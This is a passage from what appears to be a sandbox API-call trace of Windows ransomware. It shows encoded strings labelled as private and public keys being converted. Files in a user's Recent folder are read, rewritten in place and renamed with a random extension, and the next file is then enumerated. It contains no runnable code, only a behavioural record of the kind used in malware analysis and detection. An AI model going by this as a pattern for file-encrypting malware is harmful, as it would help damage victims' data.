BLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0081.754] GetCurrentThreadId () returned 0xa30 [0081.754] GetCurrentThreadId () returned 0xa30 [0081.754] GetCurrentThreadId () returned 0xa30 [0081.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.755] GetCurrentThreadId () returned 0xa30 [0081.755] GetCurrentThreadId () returned 0xa30 [0081.755] GetCurrentThreadId () returned 0xa30 [0081.755] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J-v2Kn6wrqYZ8FKCS0WZ.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j-v2kn6wrqyz8fkcs0wz.ots.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.756] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.756] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.756] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x14a9 [0081.756] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.756] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x14a9, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x14a9, lpOverlapped=0x0) returned 1 [0081.758] CloseHandle (hObject=0x124) returned 1 [0081.758] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J-v2Kn6wrqYZ8FKCS0WZ.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j-v2kn6wrqyz8fkcs0wz.ots.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.760] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x14a9, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x14a9, lpOverlapped=0x0) returned 1 [0081.762] CloseHandle (hObject=0x124) returned 1 [0081.765] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J-v2Kn6wrqYZ8FKCS0WZ.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j-v2kn6wrqyz8fkcs0wz.ots.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J-v2Kn6wrqYZ8FKCS0WZ.ots.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j-v2kn6wrqyz8fkcs0wz.ots.lnk.zv7un")) returned 1 [0081.767] GetCurrentThreadId () returned 0xa30 [0081.767] GetCurrentThreadId () returned 0xa30 [0081.767] GetCurrentThreadId () returned 0xa30 [0081.767] GetCurrentThreadId () returned 0xa30 [0081.767] GetCurrentThreadId () returned 0xa30 [0081.767] GetCurrentThreadId () returned 0xa30 [0081.767] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1cd1c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1cd1c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf1cd1c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa6e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="j5qVGDC 3 7fjtI.lnk", cAlternateFileName="J5QVGD~1.LNK")) returned 1 [0081.767] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.767] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.768] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\j5qVGDC 3 7fjtI.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j5qvgdc 3 7fjti.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1cd1c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1cd1c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf1cd1c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa6e)) returned 1 [0081.768] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\j5qVGDC 3 7fjtI.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j5qvgdc 3 7fjti.lnk")) returned 0x20 [0081.768] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\j5qVGDC 3 7fjtI.lnk", dwFileAttributes=0x80) returned 1 [0081.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKm